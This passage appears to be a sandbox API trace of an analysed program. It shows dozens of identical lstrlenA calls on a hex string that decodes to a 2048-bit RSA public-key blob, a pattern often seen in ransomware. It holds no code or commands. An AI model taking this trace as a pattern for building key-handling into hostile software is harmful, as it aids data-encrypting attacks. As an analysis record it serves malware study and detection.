	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.626] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
	[0061.627] lstrlenA (lpString="0602000000a40000525341310008000001000100f5b5b853b916ecefe56aef661a032ff2381557e7e3065023e6036bcc8e7ca503ad51f60e6754126c83185425678f5a5b65d496e25393b4ae1631c8b4d271502b488928632156773cf667fc73f7d643107d6e45027808f78c86a96370985b4ad6faebcd7b12e29ef275d1bc734d76e52bdc6fdf6d21da0cb64caf920874fe0cbc8987828fad7f20d8b76c28ca82fe61e0b8158d8648abd6baf07068811bf04e3ba8e929bfe951d7c2a3d15956db93f15308f7fe80c43a2d2f1d857856acb805c1f47fbeb90e95d6f738d63da4184df1f9df71a648bf44a0d0427089937c975d4987defcc1e83e88823aea8d895c2db110efcfd7991bf6038263d3b229ef9b3697") returned 552
